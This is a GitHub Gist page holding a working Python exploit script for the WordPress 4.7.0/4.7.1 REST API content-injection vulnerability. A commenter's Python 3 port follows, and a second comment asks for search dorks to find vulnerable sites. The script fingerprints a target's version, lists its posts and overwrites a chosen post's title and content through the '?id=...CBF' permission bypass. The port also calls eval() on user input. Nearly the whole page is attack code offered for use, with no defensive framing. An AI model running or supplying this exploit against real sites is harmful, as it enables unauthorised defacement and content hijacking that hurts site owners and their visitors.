Last active
July 8, 2024 14:42
-
-
Save budanthara/1fdecf01496a4d27178274a4bacd277a to your computer and use it in GitHub Desktop.
Wordpress content injection exploit by snoww0lf
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#! /usr/bin/env python | |
""" | |
Technical Explanation: https://blog.sucuri.net/2017/02/content-injection-vulnerability-wordpress-rest-api.html | |
REST API Wordpress reference: https://developer.wordpress.org/rest-api/reference/posts/#update-a-post | |
Wordpress Version Affected: 4.7.0/4.7.1 | |
2017 - Coded by snoww0lf. | |
""" | |
import re | |
import json | |
import urllib2 | |
class WpContent: | |
def __init__(self, url): | |
self.__url = url | |
self.__response = urllib2.urlopen(self.__url).read() | |
def get_api_wp(self): | |
return re.findall(r"https://api.w.org/' href='(.*)'", self.__response)[0] | |
def get_wp_version(self): | |
check_version = re.findall(r'ver=(.*)"', self.__response)[0] | |
if check_version == "4.7" or check_version == "4.7.1": | |
check_version += " ( Maybe vulnerable to inject ) " | |
else: | |
check_version += " ( Maybe not vulnerable to inject ) " | |
return check_version | |
def get_wp_post_information(self): | |
get_post = urllib2.urlopen(self.get_api_wp()+"wp/v2/posts").read() | |
load_info = json.loads(get_post) | |
collected_information = "" | |
for load in load_info: | |
collected_information += "[x] Post ID: {0}\n[x] Post Title: {1}\n[x] Post URL: {2}\n[x] Post Content: {3} [SNIPPET]\n\n".\ | |
format(load['id'], load['title']['rendered'].encode("utf-8"), load['link'], load['content']['rendered'][:100].encode('utf-8')) | |
return collected_information | |
def inject_content(self, id_content, title, content): | |
data = json.dumps({ | |
'title':title, | |
'content':content | |
}) | |
params = {'Content-Type':'application/json'} | |
full_url = self.get_api_wp() + "wp/v2/posts/{0}/?id={0}CBF".format(id_content) | |
req = urllib2.Request(full_url, data, params) | |
resp = urllib2.urlopen(req).read() | |
return resp | |
def main(): | |
print("[X] WORDPRESS 4.7.0/4.7.1 CONTENT INJECTION EXPLOIT BY snoww0lf [X]\n") | |
while True: | |
url = raw_input("[x] Enter the URL: ") | |
print("[?] Please wait ...\n") | |
wpcontent = WpContent(url) | |
wp_version = wpcontent.get_wp_version().split()[0] | |
print("[x] Wordpress Version: {0} ".format(wp_version)) | |
if(wp_version == "4.7" or wp_version == "4.7.1"): | |
select = raw_input("[x] It's affected version. It seems vulnerable, continue? [y/n] ").lower() | |
while(select != "y" and select != "n"): | |
print("[x] Wrong selection! Try again.") | |
select = raw_input("[x] Affected version. Seems vulnerable, continue? [y/n] ").lower() | |
print("\n") | |
if(select == "y"): | |
print("[x] Parsing data information, please wait ...\n") | |
wp_information = wpcontent.get_wp_post_information() | |
print(wp_information) | |
inp_id = input("[x] Enter ID Content that you want to overwrite: ") | |
inp_title = raw_input("[x] Change title: ") | |
print("\n") | |
print("=> 1. Load data from file.") | |
print("=> 2. Input data.") | |
print("\n") | |
mode = input("[x] Change content by [1/2] ? ") | |
if mode == 1: | |
dfile = raw_input("[x] Enter the filename: ") | |
with open(dfile, 'r') as f: | |
readf = f.readlines() | |
print("[x] Exploit in progress ...\n") | |
wpcontent.inject_content(inp_id, inp_title, ''.join(readf)) | |
else: | |
inp_data = raw_input("[?] Input data: ") | |
print("[x] Exploit in progress ...\n") | |
wpcontent.inject_content(inp_id, inp_title, inp_data) | |
print("[x] Update success!\n") | |
cont = raw_input("[?] Continue ? [y/n] ").lower() | |
while(cont != "y" and cont != "n"): | |
print("[x] Wrong selection! Try again.") | |
cont = raw_input("[?] Continue ? [y/n] ").lower() | |
if cont == "n": break | |
else: | |
break | |
else: | |
cont = raw_input("[?] Continue ? ").lower() | |
while(cont != "y" and cont != "n"): | |
print("[x] Wrong selection! Try again.") | |
cont = raw_input("[?] Continue ? ").lower() | |
if cont == "n": break | |
if __name__ == '__main__': | |
main() |
Here is the updated version for python3:
#! /usr/bin/env python
import re
import json
import urllib.request, urllib.error, urllib.parse
class WpContent:
def __init__(self, url):
self.__url = url
self.__response = urllib.request.urlopen(self.__url).read().decode("utf-8")
def get_api_wp(self):
return re.findall(r"https://api.w.org/' href='(.*)'", self.__response)[0]
def get_wp_version(self):
check_version = re.findall(r'ver=(.*)"', self.__response)[0]
if check_version == "4.7" or check_version == "4.7.1":
check_version += " ( Maybe vulnerable to inject ) "
else:
check_version += " ( Maybe not vulnerable to inject ) "
return check_version
def get_wp_post_information(self):
get_post = urllib.request.urlopen(self.get_api_wp() + "wp/v2/posts").read()
load_info = json.loads(get_post)
collected_information = ""
for load in load_info:
collected_information += "[x] Post ID: {0}\n[x] Post Title: {1}\n[x] Post URL: {2}\n[x] Post Content: {3} [SNIPPET]\n\n".format(
load["id"],
load["title"]["rendered"].encode("utf-8"),
load["link"],
load["content"]["rendered"][:100].encode("utf-8"),
)
return collected_information
def inject_content(self, id_content, title, content):
data = json.dumps({"title": title, "content": content})
data = data.encode("utf-8")
params = {"Content-Type": "application/json"}
full_url = self.get_api_wp() + "wp/v2/posts/{0}/?id={0}CBF".format(id_content)
req = urllib.request.Request(full_url, data, params)
resp = urllib.request.urlopen(req).read()
return resp
def main():
print("[X] WORDPRESS 4.7.0/4.7.1 CONTENT INJECTION EXPLOIT BY snoww0lf [X]\n")
while True:
url = input("[x] Enter the URL: ")
print("[?] Please wait ...\n")
wpcontent = WpContent(url)
wp_version = wpcontent.get_wp_version().split()[0]
print(("[x] Wordpress Version: {0} ".format(wp_version)))
if wp_version == "4.7" or wp_version == "4.7.1":
select = input(
"[x] It's affected version. It seems vulnerable, continue? [y/n] "
).lower()
while select != "y" and select != "n":
print("[x] Wrong selection! Try again.")
select = input(
"[x] Affected version. Seems vulnerable, continue? [y/n] "
).lower()
print("\n")
if select == "y":
print("[x] Parsing data information, please wait ...\n")
wp_information = wpcontent.get_wp_post_information()
print(wp_information)
inp_id = eval(
input("[x] Enter ID Content that you want to overwrite: ")
)
inp_title = input("[x] Change title: ")
print("\n")
print("=> 1. Load data from file.")
print("=> 2. Input data.")
print("\n")
mode = eval(input("[x] Change content by [1/2] ? "))
if mode == 1:
dfile = input("[x] Enter the filename: ")
with open(dfile, "r") as f:
readf = f.readlines()
print("[x] Exploit in progress ...\n")
wpcontent.inject_content(inp_id, inp_title, "".join(readf))
else:
inp_data = input("[?] Input data: ")
print("[x] Exploit in progress ...\n")
wpcontent.inject_content(inp_id, inp_title, inp_data)
print("[x] Update success!\n")
cont = input("[?] Continue ? [y/n] ").lower()
while cont != "y" and cont != "n":
print("[x] Wrong selection! Try again.")
cont = input("[?] Continue ? [y/n] ").lower()
if cont == "n":
break
else:
break
else:
cont = input("[?] Continue ? ").lower()
while cont != "y" and cont != "n":
print("[x] Wrong selection! Try again.")
cont = input("[?] Continue ? ").lower()
if cont == "n":
break
if __name__ == "__main__":
main()
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
What is Google Dorks to found WP versions 4.7.0/4.7.1 ?
Thks